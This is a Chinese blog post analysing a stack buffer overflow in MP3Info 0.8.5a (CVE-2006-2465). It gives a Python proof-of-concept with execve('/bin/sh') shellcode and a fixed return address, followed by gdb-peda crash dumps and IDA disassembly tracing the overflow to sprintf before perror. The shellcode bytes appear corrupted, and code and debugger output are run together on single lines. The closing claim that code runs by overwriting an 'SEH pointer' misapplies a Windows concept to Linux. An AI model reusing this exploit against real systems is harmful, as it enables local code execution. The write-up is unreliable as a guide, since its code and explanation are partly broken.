首页 > 安全 > 系统安全 >

Linux漏洞分析--MP3Info 0.8.5a代码执行漏洞(CVE-2006-2465)

2017-03-06

Linux漏洞分析--MP3Info 0 8 5a代码执行漏洞(CVE-2006-2465)。

Linux漏洞分析--MP3Info 0.8.5a代码执行漏洞(CVE-2006-2465)。

漏洞说明

软件下载:

https://www.exploit-db.com/apps/cb7b619a10a40aaac2113b87bb2b2ea2-mp3info-0.8.5a.tgz

PoC:

junk = "\x90\x90\x90\x90"*8 shellcode = "\x31\xc0\x50\x68/\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"buffer = "\x90\x90\x90\x90"*89eip = "\x10\xf0\xff\xbf"print "# MP3info is prone to a Stack-BoF"print "# Wasting CPU clocks on unusable exploits"print "# This is exploit is for educational purposes"try: subprocess.call(["mp3info", junk+shellcode+buffer+eip])except OSError as e: if e.errno == os.errno.ENOENT: print "MP3Info not found!" else: print "Error executing exploit" raise

测试环境:

Kali 2.0

这个漏洞是个本地代码执行漏洞,poc的意思其实也就是调用mp3info,通过命令行传入畸形字符串,可以直接用$python -c的方法传入畸形字符串也可以的。用gdb打开,然后run $python -c+畸形字符串就可以直接到达漏洞现场,这个是我调试的第一个Linux漏洞,漏洞比较基础,有代表性。

此漏洞是我的第一篇linux分析,特此纪念一下!GET了很多新的linux下的调试方法,非常有收获。

漏洞复现

此漏洞并不像详情描述的那样,而是在处理MP3路径时,由于路径不可读,而转入错误处理流程时,错误的将文件路径传入,作为错误信息传入linux的perror()函数,在处理过程中发生错误,进入SEH异常函数,再通过覆盖SEH指针执行任意代码。下面对此漏洞进行详细分析。

首先我们需要在linux下编译MP3Info,需要下载一个依赖的头文件libncurses5-dev,安装后可以编译MP3Info,编译完成后,我们不利用poc,直接用python输入畸形字符串。

root@root:~/Desktop/mp3info-0.8.5a# ./mp3info $(python -c 'print "\x41"*100')Error opening MP3: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such file or directoryroot@root:~/Desktop/mp3info-0.8.5a# ./mp3info $(python -c 'print "\x41"*700')Segmentation fault

可以看到,当畸形字符串长度到达700的时候,提示Segmentation fault,也就是指针出现错误,或者发生了缓冲区溢出。我们用gdb-peda来看一下崩溃时的信息。

首先是崩溃点。

[-------------------------------------code-------------------------------------] 0xb7e067cb <__GI_getenv+107>: mov esi,DWORD PTR [ebp+0x0] 0xb7e067ce <__GI_getenv+110>: test esi,esi 0xb7e067d0 <__GI_getenv+112>: je 0xb7e0682a <__GI_getenv+202>=> 0xb7e067d2 <__GI_getenv+114>: cmp di,WORD PTR [esi]

可以看到,在cmp比较语句时发生了错误,基本可以判断esi寄存器应该是个不可读的地址。

[----------------------------------registers-----------------------------------]EAX: 0x6 EBX: 0xb7f7c000 --> 0x1a5da8 ECX: 0x414c (&#39;LA&#39;)EDX: 0xffbab8be ESI: 0x41414141 (&#39;AAAA&#39;)

可以看到ESI的值确实是不可读的地址41414141,那么我们现在来回溯堆栈调用。

gdb-peda$ bt#0 __GI_getenv (name=0xb7f32ff5 "NGUAGE", name@entry=0xb7f32ff3 "LANGUAGE") at getenv.c:85#1 0xb7dff10e in guess_category_value ( categoryname=0xb7f1c953 <_nl_category_names+51> "LC_MESSAGES", category=) at dcigettext.c:1356#2 __dcigettext ( domainname=domainname@entry=0xb7f32fae <_libc_intl_domainname> "libc", msgid1=msgid1@entry=0xb7f336a5 "File name too long", msgid2=msgid2@entry=0x0, plural=plural@entry=0x0, n=n@entry=0x0, category=category@entry=0x5) at dcigettext.c:561#3 0xb7dfe1f3 in __GI___dcgettext ( domainname=0xb7f32fae <_libc_intl_domainname> "libc", msgid=0xb7f336a5 "File name too long", category=category@entry=0x5) at dcgettext.c:52#4 0xb7e4ff2f in __GI___strerror_r (errnum=errnum@entry=0x24, buf=buf@entry=0xbfffea20 "@\360\377\267", buflen=buflen@entry=0x400) at _strerror.c:71#5 0xb7e36257 in perror_internal (fp=fp@entry=0x804f008, s=s@entry=0xbffff040 "Error opening MP3: ", &#39;A&#39; ..., errnum=errnum@entry=0x24) at perror.c:37#6 0xb7e3633e in __GI_perror ( s=0xbffff040 "Error opening MP3: ", &#39;A&#39; ...) at perror.c:74#7 0x08049597 in main ( argc=, argv=) at mp3info.c:195Backtrace stopped: previous frame inner to this frame (corrupt stack?)

我们主要来看0x08049597这个位置的调用,因为之后就进入系统函数了,那么我们就从0x08049597这个位置开始,进行分析。

漏洞分析

通过ida打开这个elf文件,我们来看一下0x08049597处的调用情况。

loc_804957B:fp = eax ; FILE *lea edi, [ebp+error_msg]fp = edx ; FILE *push eaxpush dword ptr [esi]push offset aErrorOpeningMp ; "Error opening MP3: %s"push edi ; scall _sprintfmov [esp], edi ; scall _perror

可以看到,在漏洞发生前call调用了perror这个系统函数,这个系统函数是用来输出错误信息的,而其参数为一个指针。

void perror(const char *s);

我们向上回溯,可以看到一fopen打开操作。

.text:08049180 loc_8049180: ; CODE XREF: main+581j.text:08049180 cmp [ebp+view_only], 1.text:08049187 jz loc_804933E.text:0804918D sub esp, 8.text:08049190 push offset modes ; "rb+".text:08049195.text:08049195 loc_8049195: ; CODE XREF: main+5C5j.text:08049195 push dword ptr [esi] ; filename.text:08049197 call _fopen

进行fopen之后,会有一处跳转,当文件不能打开时,会进入perror()函数对应的分支处理,那么我们就从fopen下断点开始跟踪,还原漏洞发生的整个过程。

我们利用

b*0x08049197

在fopen处下断点,观察一下到达此时栈的情况,首先是栈内的情况。

[------------------------------------stack-------------------------------------]0000| 0xbfffee10 --> 0xbffff337 (&#39;A&#39; ...)0004| 0xbfffee14 --> 0x804b8dd --> 0x45006272 (&#39;rb&#39;)0008| 0xbfffee18 --> 0x1

此时栈顶的的值分别为0xbffff337和0x804b8dd,栈情况在后面显示的已经很明显,此时0xbffff337对应的文件路径。

gdb-peda$ x/10x 0xbffff3370xbffff337: 0x41414141 0x41414141 0x41414141 0x414141410xbffff347: 0x41414141 0x41414141 0x41414141 0x414141410xbffff357: 0x41414141 0x41414141

当然啦,这个就是畸形字符串了,也是无法打开的,接下来,进入无法打开文件的分支。

gdb-peda$ x/10x $esi0xbffff208: 0xbffff39b 0x00000000 0xbffff658 0xbffff6630xbffff218: 0xbffff674 0xbffff687 0xbffff6b2 0xbffff6c30xbffff228: 0xbffff6da 0xbffff6eagdb-peda$ x/10x 0xbffff39b0xbffff39b: 0x41414141 0x41414141 0x41414141 0x414141410xbffff3ab: 0x41414141 0x41414141 0x41414141 0x414141410xbffff3bb: 0x41414141 0x41414141

执行到perror的时候,可以看到此时esi已经是畸形字符串了,而直到此时,还没有对perror的参数,接下来执行到perror的处理中时。

gdb-peda$ x/100x $ebp0xbffff210: 0x41414141 0x41414141 0x41414141 0x414141410xbffff220: 0x41414141 0x41414141 0x41414141 0x414141410xbffff230: 0x41414141 0x41414141 0x41414141 0x414141410xbffff240: 0x41414141 0x41414141 0x41414141 0x414141410xbffff250: 0x41414141 0x41414141 0x41414141 0x414141410xbffff260: 0x41414141 0x41414141 0x41414141 0x414141410xbffff270: 0x41414141 0x41414141 0x41414141 0x414141410xbffff280: 0x41414141 0x41414141 0x41414141 0x414141410xbffff290: 0x41414141 0x41414141 0x41414141 0x414141410xbffff2a0: 0x41414141 0x41414141 0x41414141 0x414141410xbffff2b0: 0x41414141 0x41414141 0x41414141 0x414141410xbffff2c0: 0x41414141 0x41414141 0x41414141 0x414141410xbffff2d0: 0x41414141 0x41414141 0x41414141 0x414141410xbffff2e0: 0x41414141 0x41414141 0x41414141 0x414141410xbffff2f0: 0x41414141 0x41414141 0x41414141 0x414141410xbffff300: 0x41414141 0x41414141 0x41414141

此时我们来回顾一下之前为什么会出现这种情况,前面的fopen附近都没有什么问题,问题出现在perror之前。

loc_804957B:fp = eax ; FILE *lea edi, [ebp+error_msg]fp = edx ; FILE *push eaxpush dword ptr [esi]push offset aErrorOpeningMp ; "Error opening MP3: %s"push edi ; scall _sprintfmov [esp], edi ; scall _perror

这里我们就不用ida进行反编译了,我们直接来看一下这个函数

sprintf(edi,offset aErrorOpeningMp,[esi],eax)perror(edi)

那么问题来了,实际上edi就是错误消息,而这个错误消息却被esi赋值,esi的值就是错误路径的值,这时传入会造成ebp被覆盖,上面已经展示了,覆盖后有一处会将ebp+0x00的值读取给esi,后面又调用esi的地址做cmp,从而造成地址不可读。

接下来进入seh异常处理函数,通过覆盖seh指针,可造成任意代码执行。

相关文章
最新文章
热点推荐